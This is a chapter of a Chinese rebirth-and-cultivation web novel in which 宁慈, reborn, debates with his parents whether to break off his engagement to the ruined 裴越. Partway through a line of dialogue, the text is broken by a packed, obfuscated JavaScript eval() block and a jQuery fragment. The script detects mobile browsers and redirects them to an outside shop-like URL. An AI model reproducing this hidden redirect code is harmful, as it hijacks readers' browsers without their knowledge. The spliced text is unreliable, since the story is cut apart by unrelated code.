2. 重生
作品:《龙傲天未婚妻不退婚了》 好似大梦一场。
宁慈直直地坐在静室里,茫然地双眼渐渐回神。
他用神识到处查探了半天,在摸到胸口蛛网似的疤痕时,才确信,他似乎重生了。
前世的记忆刻骨铭心,他想自欺欺人的欺骗自己这只是梦,也骗不过自己的心。
一滴泪从眼眶掉落,而后如珠串碎裂般坠下。
宁慈心绪繁杂。
他不知道自己死后,裴越是什么想法,总归不会跟人间爱侣一般闹着要殉情。
他与裴越之间,没有爱,只有积年累月的怨。
裴越或许还会恨他,但他后来也恨裴越,算他们扯平了。
对,他们扯平了。
宁慈豁然开朗。
他死了一次,又被裴越折辱了这么多年,就算他欠了再多,也该算扯平了!
往后,他们桥归桥、路归路,再无交际。
可……可是,裴越马上要上门求助,然后他们家就要退婚了。
若是还按照这个来,那他岂不是——
重蹈覆辙。
除非他把裴越解决了。
宁慈不愿意这么做。
算起来,裴越其实是他未了却的因果,若强行结束因果,反而会得到更严厉的惩戒。
况且…现在的裴越又做错了什么,平白无故的,要被他了结性命。
现在的裴越根骨尽毁,修为尽散,宁慈只需略略出手,就能解决这心腹大患。
甚至他狠心一点,不用他出面,自有人能帮他解决。
裴越已经很可怜了。
宁慈自认对裴越没什么感情,也觉得现在的裴越孤苦无依。
仔细想想,裴越去修魔,也是有缘由的吧。
……但,这不行那不行的,他要怎么做?
宁慈端坐着想了半天,得出结论——还是他不够强。
若是当时,他能打败裴越、哪怕只是打个平手,那他也有逃离的底气,而不是被一而再再而三的抓回去。
那他只需要好好修炼即可。
宁慈想好以后的方向,神清气爽地打开门,看到门口的纸鹤。
里头传来殷殷的叮嘱:“阿慈,听我一句话,他现在连引气入体都做不到,寿数与凡人无异。这一桩婚约本就没有正式的仪式,便是退了,也就是听几句闲话。”
“正好紫霄派要招收弟子,你先去避避风头,旁人问你婚约的事,你当不知晓情况就好,万事以自己为主。”
听到熟悉的话,宁慈的眼睛有些湿润。
前世,他没有听父母的话,旁人问起时,他如实说了自己的想法,却被一部分人放大扩散,给他安上落井下石、嫌贫爱富的名声。
若不是后来一举夺魁,不知道这烦人的流言要跟他到几时。
从小到大,宁慈就没受过什么委屈。
他天赋好,父母爱他,他自己努力争气,给了他什么,他一定要发挥出百倍千倍的效果才算满意。
仔细算起,他竟然是花销最少的那个。
谈起宁慈,家族里的长辈都会说:“这孩子沉得住气。”
同龄人问他为什么要那么努力,“我要是有你这样的天赋,哪可能这么拼命?”
宁慈反而疑惑:“我…哪里拼命了?”
他只是照做长老们规划的行动而已。
甚至,宁慈偶尔也有偷懒的时候,他觉得自己还没到拼命的程度。
同龄人:“……”
这世上怎么有能把修炼说得这么轻巧的人!
听到父母说宁慈每天挥剑十万次的时候,他吓得魂都飞了。
想着,他看向宁慈宽袖下的手臂。
看不大出来,只觉得是细细的一条,露出的一截白腻皓腕上戴着红绳,据说是伯父伯母准备的护身法器。
“你真的每天挥剑十万次吗?”
宁慈茫然地摇头:“时间不够。”
每天十万次,他就是连轴转一天也挥不完。
“吓死我了。”他松了口气。
宁慈补充:“一日一万次足以。”
“???”
那还是人吗!
“你每天还睡冰床吗?”
宁慈点头:“我是冰灵根,睡冰床于修炼有益。”
水灵根觉得自己在上面冻得发.抖。
“不会觉得冷么?”
宁慈答:“会,但把灵力运转起来就好了。”
“???”
睡着还要运转灵力???
自此,每逢聚会,再也没人找宁慈说话了。
“他这人太爱炫耀了!”
宁慈不懂他们为什么这么说自己,他只是实话实说而已。
就像他与裴越虽有婚约,却无感情,为何不能解除婚约?
他知道这行为是落井下石,也想好要怎么补偿裴越了,只是还未做,便不必大声嚷嚷。
况且那补偿在裴越眼里约莫是施舍,若是让更多的人知道,岂不是伤了裴越的自尊。
不过,这些都不必去想了。
前世的裴越能重塑灵根归来,定是毅力非凡,老天也给了他一线生机。
裴越的成就都是他自己拼搏的结果,宁慈只是锦上添花罢了。
裴越问过宁慈那些事。
当时的宁慈还有恼怒,一股脑儿地全说了。他还想愤恨地质问裴越,为何要这样对他?
看到裴越的伤,他忽然没了质问的底气。
说来说去,到底是他有所亏欠。
这一世的婚,退还是不退?
宁慈在静室前站了半天,站到父母奇怪地来找他。
“阿慈?阿慈!”
宁慈一个激灵,回神看向父母连忙行礼,“父亲,母亲。”
母亲担忧地看他:“阿慈,可是有什么心事?”
最近的能让宁慈烦忧的事情,似乎只有裴越了。
他们知道阿慈心善,定然狠不下心来做退婚的举动,所以这事是他们先斩后奏,把事情落实了再说。
说句不好听的,一个没法修仙的凡人,就算占了阿慈未婚夫的名头,也不过百年寿数,待死后,哪里管得了阿慈。
这婚不退,也不妨事。
但做父母的,总想给孩子最好的。
他们的阿慈名满天下,怎么能有一个成了废物的未婚夫?他们可不是为了区区家族声誉,就把孩子推进火坑的人家。
宁慈明白父母的苦心。
正因如此,他才不想辜负这一片真心。
加上他哪里知道裴越还有翻身的时候,自然觉得成了废物的裴越有些配不上自己,默许了这一桩事。
“无事,”宁慈只说,“父亲和母亲的苦心,我都明白,这桩婚事,也确实要退
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472130|201546||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
他顿了顿,又道:“只是……孩儿有个不情之请。”
愿意退婚就好。
善良是好事,过分善良容易被欺负,凡是多想想自己,就是他们对宁慈的期待。
父母欣然:“阿慈说,咱们去房间里慢慢商量。”
站在门口聊天,确实不像样。
宁慈脸色微红,和父母一起走进前厅。
“父亲,母亲,我想亲自去和裴越说清楚,”宁慈郑重道,“退婚本是我们不对,除却当时的聘礼外,孩儿自己出钱,另外给裴越一份赔礼。”
宁父当即答应:“这算什么请求,这灵石,爹给你出了。”
宁母不赞同:“给退婚和聘礼是咱们的本分,可你出面,我不同意!”
谁知道裴越现在是什么性子,万一缠上阿慈怎么办?
当然,以裴越现在的修为,他缠不上宁慈,可想着这事,就让人心烦,还会让阿慈凭空坏了心情。
他们出面干脆利落的解决了,岂不是更好?
宁慈想,那他私底下找裴越说清楚,也是一样的。
现在这个时候的裴越,应该挺好说话的吧……?
应该吧。
据宁慈听到的传闻来看,裴越是个大大咧咧的人。
可到底遭逢大变,宁慈想起后来的裴越,心慌的心跳加速,又有些不确定了。
设身处地的想,裴越应当是把他当作救命稻草了。
要报仇,要重新修炼,裴家被洗劫一空,裴越没有任何资源,能依靠的只有宁慈了。
如此想来,难怪裴越前世那么恨他,非要这么折辱他。
好在距离退婚的事还有半个月,宁慈还能做一点准备,确定一些事。
“那就劳烦父亲母亲费心了。”
宁慈起身,郑重地答谢,每一个动作都像是练过千次一般。
宁父抽了抽眼,与旁边的夫人传音:“阿慈什么时候讲这些虚礼了?”
宁母冷哼:“还不是你家那些长老,成天说阿慈是宁家的代表,是宁家的颜面,见阿慈还听他们的话,自然是恨不得什么事情都让阿慈去做!”
若说宁父宁母是溺爱孩子的典范,那长老们便是严苛的典范。
经年累月写下的家规,整个宁家也就宁慈一个人能全部遵守,那些虚礼,也只有宁慈一个人学得认认真真,还有那跟苦修似的排程,只有宁慈一人雷打不动的坚持了十八年。
他们多次想带孩子出门松快,结果每一次,都能被他们抓到宁慈偷偷把训练补回来。
也不知道这孩子的性子随了谁。
从他俩身上延申的血脉里,也没哪个亲戚和阿慈一样,这样恪守清规,这样刻苦修炼。
宁慈不知道父母在想什么。
他正在思考一件事——重生一回,他真的能改变自己的未来么?
前世的压迫感还历历在目。
在裴越自己的叙述中,虽然要过五关斩六将,虽然时不时的有生命危险,可他总是能逢凶化吉,得到最好的结果。
这样的运势,很难说天道是恨他还是爱他。
若这一切不过是为了给裴越铺路,宁慈的路会分外艰难。
但,大道五十,天衍四九,人遁其一。
宁慈相信,他会找到那隐秘的生机。
能够重来一回,也是他的生机。

